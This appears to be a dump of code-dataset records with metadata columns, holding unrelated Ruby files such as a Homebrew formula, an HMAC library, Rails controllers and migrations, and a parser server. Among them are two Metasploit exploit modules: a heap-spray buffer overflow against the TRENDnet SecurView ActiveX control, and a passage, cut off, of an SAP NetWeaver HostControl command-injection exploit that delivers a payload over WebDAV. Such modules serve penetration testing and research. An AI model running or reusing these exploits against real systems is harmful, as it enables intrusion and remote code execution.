hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
f705d00c1ec2f2a29ec71694e8be709e274b82b1
726
=begin * Copyright (c) ThoughtWorks, Inc. * Licensed under the Apache License, Version 2.0 * See LICENSE.txt in the project root for license information. =end require_relative "execution_handler" module Gauge module Processors include ExecutionHandler def process_execute_step_request(request) step_text = request.parsedStepText parameters = request.parameters args = create_param_values parameters start_time= Time.now begin Executor.execute_step step_text, args rescue Exception => e return handle_failure e, time_elapsed_since(start_time), MethodCache.recoverable?(step_text) end handle_pass time_elapsed_since(start_time) end end end
27.923077
100
0.735537
7a1852de713c553ff53eb646d389a25eb8b19835
2,542
class IntrigueApp < Sinatra::Base ### ### version ### get "/version.json" do { :version => IntrigueApp.version }.to_json end # Main Page get '/?' do @projects = Intrigue::Model::Project.order(:created_at).reverse.all erb :index end ### ### ### System Config ### ### ### post '/system/config' do Intrigue::System::Config.config["credentials"]["username"] = "#{params["username"]}" Intrigue::System::Config.config["credentials"]["password"] = "#{params["password"]}" # save and reload Intrigue::System::Config.save redirect "/#{@project_name}" # handy if we're in a browser end # get config get '/system/config/?' do @global_config = Intrigue::System::Config erb :"system/config" end get "/system/entities" do @entities = Intrigue::EntityFactory.entity_types erb :"system/entities" end get "/system/tasks" do @tasks = Intrigue::TaskFactory.list erb :"system/tasks" end # save the config post '/system/config/tasks' do # Update our config if one of the fields have been changed. Note that we use *** # as a way to mask out the full details in the view. If we have one that doesn't lead with *** # go ahead and update it params.each do |k,v| # skip unless we already know about this config setting, helps us avoid # other parameters sent to this page (splat, project, etc) next unless Intrigue::System::Config.config["intrigue_global_module_config"][k] Intrigue::System::Config.config["intrigue_global_module_config"][k]["value"] = v unless v =~ /^\*\*\*/ end # save and reload Intrigue::System::Config.save redirect "/system/config" # handy if we're in a browser end ### #### engine api ### # # status # get "/engine/?" do sidekiq_stats = Sidekiq::Stats.new project_listing = Intrigue::Model::Project.all.map { |p| { :name => "#{p.name}", :entities => "#{p.entities.count}" } } output = { :version => IntrigueApp.version, :projects => project_listing, :tasks => { :processed => sidekiq_stats.processed, :failed => sidekiq_stats.failed, :queued => sidekiq_stats.queues } } headers 'Access-Control-Allow-Origin' => '*', 'Access-Control-Allow-Methods' => ['OPTIONS','GET'] content_type "application/json" output.to_json end end
26.206186
110
0.590873
4a5c8195f7cab78977a755a1501e977285a08f0c
741
require File.expand_path('../application', __FILE__) TeacherChatServer::Application.initialize! # Development middlewares if TeacherChatServer::Application.env == 'development' use AsyncRack::CommonLogger # Enable code reloading on every request use Rack::Reloader, 0 # Serve assets from /public use Rack::Static, :urls => ["/javascripts"], :root => TeacherChatServer::Application.root(:public) end # Running thin : # # bundle exec thin --max-persistent-conns 1024 --timeout 0 -R config.ru start # # Vebose mode : # # Very useful when you want to view all the data being sent/received by thin # # bundle exec thin --max-persistent-conns 1024 --timeout 0 -V -R config.ru start # run TeacherChatServer::Application.routes
28.5
100
0.738192
f8badcac990e7b3b2852572cbfb83f0ea4678316
402
class AddTmpPartialNullIndexToBuilds < ActiveRecord::Migration[4.2] include Gitlab::Database::MigrationHelpers disable_ddl_transaction! def up add_concurrent_index(:ci_builds, :id, where: 'stage_id IS NULL', name: 'tmp_id_partial_null_index') end def down remove_concurrent_index_by_name(:ci_builds, 'tmp_id_partial_null_index') end end
26.8
76
0.70398
ff807c33457747a303a4f9cf9b965b19d630ea95
1,057
class Ddcctl < Formula desc "DDC monitor controls (brightness) for Mac OSX command-line" homepage "https://github.com/kfix/ddcctl" url "https://github.com/kfix/ddcctl/archive/refs/tags/v0.tar.gz" sha256 "8440f494b3c354d356213698dd113003245acdf667ed3902b0d173070a1a9d1f" license "GPL-3.0-only" bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "d948d479e3d967839131c366214016915831fbbbf82f8359839de8a84f787b75" sha256 cellar: :any_skip_relocation, big_sur: "de6da4df6f856e2029ecaa89fbaae1009e8bf987f2c96b5ab71ad88f7adc7d40" sha256 cellar: :any_skip_relocation, catalina: "aa81b0a04e1ac0c6c2c4d9e37a4efd47f00081303c3bbee150da1681d0a1b809" sha256 cellar: :any_skip_relocation, mojave: "cd30f6623021ae90a9e535f0a178935e21c7ad895154de4ec97fa506a4622a5a" end depends_on :macos def install bin.mkpath system "make", "install", "INSTALL_DIR=#{bin}" end test do output = shell_output("#{bin}/ddcctl -d 100 -b 100", 1) assert_match(/found \d external display/, output) end end
39.148148
122
0.772942
ff0d1836755896a5ff4a116597a9adba6fc7ccfe
2,924
# Copyright (C) 2001 Daiki Ueno <[email protected]> # This library is distributed under the terms of the Ruby license. # This module provides common interface to HMAC engines. # HMAC standard is documented in RFC 2104: # # H. Krawczyk et al., "HMAC: Keyed-Hashing for Message Authentication", # RFC 2104, February 1997 # # These APIs are inspired by JCE 1.2's javax.crypto.Mac interface. # # <URL:http://java.sun.com/security/JCE1.2/spec/apidoc/javax/crypto/Mac.html> # # Source repository is at # # http://github.com/topfunky/ruby-hmac/tree/master module HMAC VERSION = '0.3.2' class Base def initialize(algorithm, block_size, output_length, key) @algorithm = algorithm @block_size = block_size @output_length = output_length @initialized = false @key_xor_ipad = '' @key_xor_opad = '' set_key(key) unless key.nil? end private def check_status unless @initialized raise RuntimeError, "The underlying hash algorithm has not yet been initialized." end end public def set_key(key) # If key is longer than the block size, apply hash function # to key and use the result as a real key. key = @algorithm.digest(key) if key.size > @block_size akey = key.unpack("C*") key_xor_ipad = ("\x36" * @block_size).unpack("C*") key_xor_opad = ("\x5C" * @block_size).unpack("C*") for i in 0 .. akey.size - 1 key_xor_ipad[i] ^= akey[i] key_xor_opad[i] ^= akey[i] end @key_xor_ipad = key_xor_ipad.pack("C*") @key_xor_opad = key_xor_opad.pack("C*") @md = @algorithm.new @initialized = true end def reset_key @key_xor_ipad.gsub!(/./, '?') @key_xor_opad.gsub!(/./, '?') @key_xor_ipad[0..-1] = '' @key_xor_opad[0..-1] = '' @initialized = false end def update(text) check_status # perform inner H md = @algorithm.new md.update(@key_xor_ipad) md.update(text) str = md.digest # perform outer H md = @algorithm.new md.update(@key_xor_opad) md.update(str) @md = md end alias << update def digest check_status @md.digest end def hexdigest check_status @md.hexdigest end alias to_s hexdigest # These two class methods below are safer than using above # instance methods combinatorially because an instance will have # held a key even if it's no longer in use. def Base.digest(key, text) hmac = self.new(key) begin hmac.update(text) hmac.digest ensure hmac.reset_key end end def Base.hexdigest(key, text) hmac = self.new(key) begin hmac.update(text) hmac.hexdigest ensure hmac.reset_key end end private_class_method :new, :digest, :hexdigest end end
24.571429
79
0.613543
1173239b1b1ec3fab84adb919c5c609c5f70f7d7
6,860
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in TRENDnet SecurView Internet Camera's ActiveX control. By supplying a long string of data as the sFilter argument of the OpenFileDlg() function, it is possible to trigger a buffer overflow condition due to WideCharToMultiByte (which converts unicode back to) overwriting the stack more than it should, which results arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', #Original discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ [ 'CVE', '2012-4876' ], [ 'EDB', '18675' ] ], 'Payload' => { 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'EXITFUNC' => "seh", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ], [ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ], [ 'IE 7 on Windows Vista', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 28 2012", 'DefaultTarget' => 0)) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[3] #IE 7 on Windows Vista else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent.to_s}") send_not_found(cli) return end # Set payload depending on target p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) # Convert the pivot addr (in decimal format) to binary, # and then break it down to this printable format: # \x41\x41\x41\x41 t = [my_target.ret].pack("V").unpack("H*")[0] target_ret = '' 0.step(t.length-1, 2) do |i| target_ret << "\\x#{t[i, 2]}" end js = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x40000-6)/2); heap_obj.gc(); for (var i=1; i < 0x1000; i++) { heap_obj.alloc(block); } var ret = ""; for (i2=0; i2<30000; i2++) { ret = ret + "#{target_ret}"; } obj.OpenFileDlg(ret); JS js = heaplib(js, {:noobfu => true}) html = <<-EOS <html> <head> <script> </script> </head> <body> <object classid='clsid:707ABFC2-1D27-4A10-A6E4-6BE6BDF9FB11' id='obj'></object> <script> #{js} </script> </body> </html> EOS print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin bp 1000f952 "r; g" bp kernel32!WideCharToMultiByte "r; dc poi(esp+c); .echo; g" eax=023f4bf4 ebx=1006519c ecx=00000003 edx=0013a170 esi=00038ce0 edi=00000000 eip=7c80a164 esp=0013a130 ebp=0013a158 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 kernel32!WideCharToMultiByte: 7c80a164 8bff mov edi,edi 023f4bf4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c04 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c14 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c24 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c34 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c44 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c54 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c64 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. ChildEBP RetAddr 0013a12c 1000f958 kernel32!WideCharToMultiByte WARNING: Stack unwind information not available. Following frames may be wrong. 0013a158 100211d0 UltraMJCamX+0xf958 0013e24c 77135cd9 UltraMJCamX!DllUnregisterServer+0xeb20 0013e26c 771362e8 OLEAUT32!DispCallFunc+0x16a 0013e2fc 10017142 OLEAUT32!CTypeInfo2::Invoke+0x234 0013e32c 100170e2 UltraMJCamX!DllUnregisterServer+0x4a92 0013e358 7deac999 UltraMJCamX!DllUnregisterServer+0x4a32 0013e398 7deacfaf mshtml!InvokeDispatchWithNoThis+0x78 0013e3d8 7deac9fc mshtml!COleSite::ContextInvokeEx+0x149 0013e40c 75c71408 mshtml!COleSite::ContextThunk_InvokeEx+0x44 0013e444 75c71378 jscript!IDispatchExInvokeEx2+0xac 0013e47c 75c76db3 jscript!IDispatchExInvokeEx+0x56 0013e4ec 75c710d8 jscript!InvokeDispatchEx+0x78 0013e534 75c6fab8 jscript!VAR::InvokeByName+0xba 0013e574 75c6efea jscript!VAR::InvokeDispName+0x43 0013e598 75c76ff4 jscript!VAR::InvokeByDispID+0xfd 0013e650 75c7165d jscript!CScriptRuntime::Run+0x16bd 0013e668 75c71793 jscript!ScrFncObj::Call+0x8d 0013e6d8 75c5da62 jscript!CSession::Execute+0xa7 0013e728 75c5e6e7 jscript!COleScript::ExecutePendingScripts+0x147 0:008> r eax=78f8f8f8 ebx=1006519c ecx=020bc038 edx=0c0c0c0c esi=020bf4d0 edi=020c0000 eip=1003a0e9 esp=020bb140 ebp=020bf22c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 UltraMJCamX!DllUnregisterServer+0x27a39: 1003a0e9 8917 mov dword ptr [edi],edx ds:0023:020c0000=00905a4d The only application-specific component loaded is UltraMJCamX.ocx, but this can be unreliable and I'd rather not use that. =end
34.3
102
0.657143
1845366a564098932bfa6fadb34d0fde883891b7
1,456
lib = File.expand_path("../lib", __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require "binance_api/version" Gem::Specification.new do |spec| spec.name = "binance_api" spec.version = BinanceAPI::VERSION spec.authors = ["osiutino"] spec.email = ["[email protected]"] spec.summary = %q{unoffical Binance rubygem} spec.description = %q{A Binance API wrapper written in ruby} spec.homepage = "https://github.com/siutin/binance-api-ruby" spec.license = "MIT" # Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host' # to allow pushing to a single host or delete this section to allow pushing to any host. if spec.respond_to?(:metadata) spec.metadata["allowed_push_host"] = "https://rubygems.org" else raise "RubyGems 2.0 or newer is required to protect against " \ "public gem pushes." end spec.files = `git ls-files -z`.split("\x0").reject do |f| f.match(%r{^(test|spec|features)/}) end spec.bindir = "exe" spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) } spec.require_paths = ["lib"] spec.add_development_dependency "bundler", "~> 1.16" spec.add_development_dependency "rake", "~> 10.0" spec.add_development_dependency "rspec", "~> 3.0" spec.add_dependency 'rest-client', "~> 2.0" spec.add_dependency 'websocket-client-simple', '~> 0.3.0' end
37.333333
96
0.666209
e2fc1602e448960399cdbd2a3e00172af47b9029
1,554
# frozen_string_literal: true require 'bundler/setup' if ENV['PLUGIN_RUBY_CI'] require 'socket' require 'json' require_relative '../ruby/parser' require_relative '../rbs/parser' require_relative '../haml/parser' # Set the program name so that it's easy to find if we need it $PROGRAM_NAME = 'prettier-ruby-parser' # Make sure we trap these signals to be sure we get the quit command coming from # the parent node process quit = false trap(:QUIT) { quit = true } if RUBY_PLATFORM != 'java' trap(:INT) { quit = true } trap(:TERM) { quit = true } sockfile = ARGV.first || "/tmp/#{$PROGRAM_NAME}.sock" server = UNIXServer.new(sockfile) at_exit do server.close File.unlink(sockfile) end loop do break if quit # Start up a new thread that will handle each successive connection. Thread.new(server.accept_nonblock) do |socket| parser, source = socket.read.force_encoding('UTF-8').split('|', 2) response = case parser when 'ruby' Prettier::Parser.parse(source) when 'rbs' Prettier::RBSParser.parse(source) when 'haml' Prettier::HAMLParser.parse(source) end if response socket.write(JSON.fast_generate(response)) else socket.write('{ "error": true }') end ensure socket.close end rescue IO::WaitReadable, Errno::EINTR # Wait for select(2) to give us a connection that has content for 1 second. # Otherwise timeout and continue on (so that we hit our "break if quit" # pretty often). IO.select([server], nil, nil, 1) retry unless quit end
25.064516
80
0.687259
e2283f437bbfe90f5d7143f57ab4dcb0b4db427c
223
class CreateOrders < ActiveRecord::Migration[5.0] def change create_table :orders do |t| t.string :name t.text :address t.string :email t.string :pay_type t.timestamps end end end
17.153846
49
0.627803
3315ad3d15098b7e98e73be73d32a1c854cfc8b6
1,393
class UsersController < ApplicationController before_action:logged_in_user,only:[:index,:edit,:update,:destroy] before_action:correct_user,only:[:edit,:update] before_action:admin_user,only: :destroy def index @user=User.all end def new end def show @user=User.find(params[:id]) end def new @user=User.new end def create @user=User.new(user_params) if @user.save log_in @user flash[:success] = "Welcome to the Sample App!" redirect_to user_url(@user) else render 'new' end end def edit @user=User.find(params[:id]) end def update @user=User.find(params[:id]) if @user.update_attributes(user_params) flash[:success]="Profile update" redirect_to @user else render 'edit' end end def destroy User.find(params[:id]).destroy flash[:success]="User deleted" redirect_to users_url end private def user_params params.require(:user).permit(:name,:email,:password,:password_confirmation) end def logged_in_user unless logged_in? store_location flash[:danger]="Please log in" redirect_to login_url end end def correct_user @user = User.find(params[:id]) redirect_to(root_url) unless current_user?(@user) end # 管理者かどうか確認 def admin_user redirect_to(root_url) unless current_user.admin? end end
18.328947
79
0.670495
ab04e3a92aca1aed6e8bd2f42aec79d8d80b3f26
607
describe GTFSConveyalValidationWorker do before(:each) { allow(Figaro.env).to receive(:run_conveyal_validator) { 'true' } allow(GTFSValidationService).to receive(:run_conveyal_validator) { Tempfile.new(['test','.json']) } } context 'runs GTFSValidationService' do it 'attaches output' do feed_version = create(:feed_version_example) Sidekiq::Testing.inline! do GTFSConveyalValidationWorker.perform_async(feed_version.sha1) end expect(feed_version.reload.feed_version_infos.where(type: 'FeedVersionInfoConveyalValidation').count).to eq(1) end end end
35.705882
116
0.738056
03bbb2872124f2d9a94a79383b004d6bde18b907
8,277
# Copyright 2017 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. require "simplecov" gem "minitest" require "minitest/autorun" require "minitest/focus" require "minitest/rg" require "google/cloud/firestore" require "grpc" ## # Monkey-Patch CallOptions to support Mocks # class Gapic::CallOptions ## # Minitest Mock depends on === to match same-value objects. # By default, CallOptions objects do not match with ===. # Therefore, we must add this capability. def === other return false unless other.is_a? Gapic::CallOptions timeout === other.timeout && retry_policy === other.retry_policy && metadata === other.metadata end def == other return false unless other.is_a? Gapic::CallOptions timeout === other.timeout && retry_policy === other.retry_policy && metadata === other.metadata end class RetryPolicy def === other return false unless other.is_a? Gapic::CallOptions::RetryPolicy retry_codes === other.retry_codes && initial_delay === other.initial_delay && multiplier === other.multiplier && max_delay === other.max_delay && delay === other.delay end end end class StreamingListenStub attr_reader :requests, :responses def initialize response_groups @requests = [] @responses = response_groups.map do |responses| RaisableEnumeratorQueue.new.tap do |q| responses.each do |response| q.push response end end end end def listen request_enum, options @requests << request_enum @responses.shift.each end class RaisableEnumeratorQueue def initialize sentinel = nil @queue = Queue.new @sentinel = sentinel end def push obj @queue.push obj end def each return enum_for(:each) unless block_given? loop do obj = @queue.pop # This is the only way to raise and have it be handled by the steam thread raise obj if obj.is_a? StandardError break if obj.equal? @sentinel yield obj end end end end class MockFirestore < Minitest::Spec let(:project) { "projectID" } let(:transaction_id) { "transaction123" } let(:database_path) { "projects/#{project}/databases/(default)" } let(:documents_path) { "#{database_path}/documents" } let(:full_doc_paths) { ["#{documents_path}/users/alice", "#{documents_path}/users/bob", "#{documents_path}/users/carol"] } let(:default_project_options) { Gapic::CallOptions.new(metadata: { "google-cloud-resource-prefix" => "projects/#{project}" }) } let(:default_options) { Gapic::CallOptions.new(metadata: { "google-cloud-resource-prefix" => database_path }, retry_policy: {}) } let(:credentials) { OpenStruct.new(client: OpenStruct.new(updater_proc: Proc.new {})) } let(:firestore) { Google::Cloud::Firestore::Client.new(Google::Cloud::Firestore::Service.new(project, credentials)) } let(:firestore_mock) { Minitest::Mock.new } before do firestore.service.instance_variable_set :@firestore, firestore_mock end after do firestore_mock.verify end # Register this spec type for when :firestore is used. register_spec_type(self) do |desc, *addl| addl.include? :mock_firestore end def wait_until &block wait_count = 0 until block.call fail "wait_until criterial was not met" if wait_count > 100 wait_count += 1 sleep 0.01 end end def batch_get_documents_args database: database_path, documents: full_doc_paths, mask: nil, transaction: nil, new_transaction: nil req = { database: database, documents: documents, mask: mask } req[:transaction] = transaction if transaction req[:new_transaction] = new_transaction if new_transaction [req, default_options] end def commit_args database: database_path, writes: [], transaction: nil req = { database: database, writes: writes } req[:transaction] = transaction if transaction [req, default_options] end def list_collection_ids_args parent: "projects/#{project}/databases/(default)/documents", page_size: nil, page_token: nil [{ parent: parent, page_size: page_size, page_token: page_token }, default_options] end def list_collection_ids_resp *ids, next_page_token: nil Google::Cloud::Firestore::V1::ListCollectionIdsResponse.new collection_ids: ids, next_page_token: next_page_token end def run_query_args query, parent: "projects/#{project}/databases/(default)/documents", transaction: nil, new_transaction: nil req = { parent: parent, structured_query: query } req[:transaction] = transaction if transaction req[:new_transaction] = new_transaction if new_transaction [req, default_options] end def paged_enum_struct response OpenStruct.new response: response end end class WatchFirestore < MockFirestore let(:read_time) { Time.now } def add_resp Google::Cloud::Firestore::V1::ListenResponse.new( target_change: Google::Cloud::Firestore::V1::TargetChange.new( target_change_type: :ADD ) ) end def reset_resp Google::Cloud::Firestore::V1::ListenResponse.new( target_change: Google::Cloud::Firestore::V1::TargetChange.new( target_change_type: :RESET ) ) end def current_resp token, offset Google::Cloud::Firestore::V1::ListenResponse.new( target_change: Google::Cloud::Firestore::V1::TargetChange.new( target_change_type: :CURRENT, resume_token: token, read_time: build_timestamp(offset) ) ) end def no_change_resp token, offset Google::Cloud::Firestore::V1::ListenResponse.new( target_change: Google::Cloud::Firestore::V1::TargetChange.new( target_change_type: :NO_CHANGE, resume_token: token, read_time: build_timestamp(offset) ) ) end def doc_change_resp doc_id, offset, data Google::Cloud::Firestore::V1::ListenResponse.new( document_change: Google::Cloud::Firestore::V1::DocumentChange.new( document: Google::Cloud::Firestore::V1::Document.new( name: "projects/#{project}/databases/(default)/documents/watch/#{doc_id}", fields: Google::Cloud::Firestore::Convert.hash_to_fields(data), create_time: build_timestamp(offset), update_time: build_timestamp(offset) ) ) ) end def doc_delete_resp doc_id, offset Google::Cloud::Firestore::V1::ListenResponse.new( document_delete: Google::Cloud::Firestore::V1::DocumentDelete.new( document: "projects/#{project}/databases/(default)/documents/watch/#{doc_id}", read_time: build_timestamp(offset) ) ) end def doc_remove_resp doc_id, offset Google::Cloud::Firestore::V1::ListenResponse.new( document_remove: Google::Cloud::Firestore::V1::DocumentRemove.new( document: "projects/#{project}/databases/(default)/documents/watch/#{doc_id}", read_time: build_timestamp(offset) ) ) end def filter_resp count Google::Cloud::Firestore::V1::ListenResponse.new( filter: Google::Cloud::Firestore::V1::ExistenceFilter.new( count: count ) ) end def build_timestamp offset = 0 Google::Cloud::Firestore::Convert.time_to_timestamp(read_time + offset) end # Register this spec type for when :firestore is used. register_spec_type(self) do |desc, *addl| addl.include? :watch_firestore end end
29.880866
131
0.665096
38d217e561fb4aef08049ba9d58240be97a01c57
1,425
# frozen_string_literal: true # Copyright (c) 2008-2013 Michael Dvorkin and contributors. # # Fat Free CRM is freely distributable under the terms of MIT license. # See MIT-LICENSE file or http://www.opensource.org/licenses/mit-license.php #------------------------------------------------------------------------------ # == Schema Information # # Table name: avatars # # id :integer not null, primary key # user_id :integer # entity_id :integer # entity_type :string(255) # image_file_size :integer # image_file_name :string(255) # image_content_type :string(255) # created_at :datetime # updated_at :datetime # require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper') describe Avatar do before(:each) do @user = FactoryGirl.create(:user) end it "should create a new instance given valid attributes" do expect(FactoryGirl.create(:avatar, entity: @user)).to be_valid end it "user should have one avatar as entity" do avatar = FactoryGirl.create(:avatar, entity: @user) expect(@user.avatar).to eq(avatar) end it "user might have many avatars as owner" do avatars = [ FactoryGirl.create(:avatar, user: @user, entity: FactoryGirl.create(:user)), FactoryGirl.create(:avatar, user: @user, entity: FactoryGirl.create(:user)) ] expect(@user.avatars).to eq(avatars) end end
30.319149
82
0.637895
e97bb0a67f0a6b0d3a773829f42dfda51aab9543
2,684
# frozen_string_literal: true require "spec_helper" require "generators/graphql/object_generator" class GraphQLGeneratorsObjectGeneratorTest < BaseGeneratorTest tests Graphql::Generators::ObjectGenerator ActiveRecord::Schema.define do create_table :test_users do |t| t.datetime :created_at t.date :birthday t.integer :points, null: false t.decimal :rating, null: false end end # rubocop:disable Style/ClassAndModuleChildren class ::TestUser < ActiveRecord::Base end # rubocop:enable Style/ClassAndModuleChildren test "it generates fields with types" do commands = [ # GraphQL-style: ["Bird", "wingspan:Int!", "foliage:[Color]"], # Ruby-style: ["BirdType", "wingspan:!Integer", "foliage:[Types::ColorType]"], # Mixed ["BirdType", "wingspan:!Int", "foliage:[Color]"], ] expected_content = <<-RUBY module Types class BirdType < Types::BaseObject field :wingspan, Integer, null: false field :foliage, [Types::ColorType], null: true end end RUBY commands.each do |c| prepare_destination run_generator(c) assert_file "app/graphql/types/bird_type.rb", expected_content end end test "it generates classifed file" do run_generator(["page"]) assert_file "app/graphql/types/page_type.rb", <<-RUBY module Types class PageType < Types::BaseObject end end RUBY end test "it makes Relay nodes" do run_generator(["Page", "--node"]) assert_file "app/graphql/types/page_type.rb", <<-RUBY module Types class PageType < Types::BaseObject implements GraphQL::Relay::Node.interface end end RUBY end test "it generates objects based on ActiveRecord schema" do run_generator(["TestUser"]) assert_file "app/graphql/types/test_user_type.rb", <<-RUBY module Types class TestUserType < Types::BaseObject field :id, ID, null: false field :created_at, GraphQL::Types::ISO8601DateTime, null: true field :birthday, GraphQL::Types::ISO8601Date, null: true field :points, Integer, null: false field :rating, Float, null: false end end RUBY end test "it generates objects based on ActiveRecord schema with additional custom fields" do run_generator(["TestUser", "name:!String"]) assert_file "app/graphql/types/test_user_type.rb", <<-RUBY module Types class TestUserType < Types::BaseObject field :id, ID, null: false field :created_at, GraphQL::Types::ISO8601DateTime, null: true field :birthday, GraphQL::Types::ISO8601Date, null: true field :points, Integer, null: false field :rating, Float, null: false field :name, String, null: false end end RUBY end end
26.84
91
0.700447
11384128690e73a78f15ce0a2e2640188da82647
15,991
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize super( 'Name' => 'SAP NetWeaver HostControl Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in the SAPHostControl Service, by sending a specially crafted SOAP request to the management console. In order to deal with the spaces and length limitations, a WebDAV service is created to run an arbitrary payload when accessed as a UNC path. Because of this, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically started by default on Windows XP SP3, but disabled by default on Windows 2003 SP2. }, 'Author' => [ 'Michael Jordon', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'Platform' => 'win', 'References' => [ [ 'OSVDB', '84821'], [ 'URL', 'http://www.contextis.com/research/blog/sap4/' ], [ 'URL', 'https://websmp130.sap-ag.de/sap/support/notes/1341333' ] # Authentication Required ], 'Targets' => [ [ 'SAP NetWeaver 7.02 SP6 / Windows with WebClient enabled', { } ], ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Aug 14 2012' ) register_options( [ Opt::RPORT(1128), OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]), OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), ], self.class) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else vprint_status("#{request.method} => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) if blacklisted_path?(request.uri) vprint_status("GET => 404 [BLACKLIST] (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) return end if (request.uri.include? @basename) print_status("GET => Payload") return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Treat index.html specially if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) vprint_status("GET => REDIRECT (#{request.uri})") resp = create_response(200, "OK") resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>| resp['Content-Type'] = 'text/html' cli.send_response(resp) return end # Anything else is probably a request for a data file... vprint_status("GET => DATA (#{request.uri})") data = "HELLO!" send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) vprint_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL' => '<DAV:sql>', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri vprint_status("PROPFIND #{path}") if path !~ /\/$/ if blacklisted_path?(path) vprint_status "PROPFIND => 404 (#{path})" resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) return end if path.index(".") vprint_status "PROPFIND => 207 File (#{path})" body = %Q|<?xml 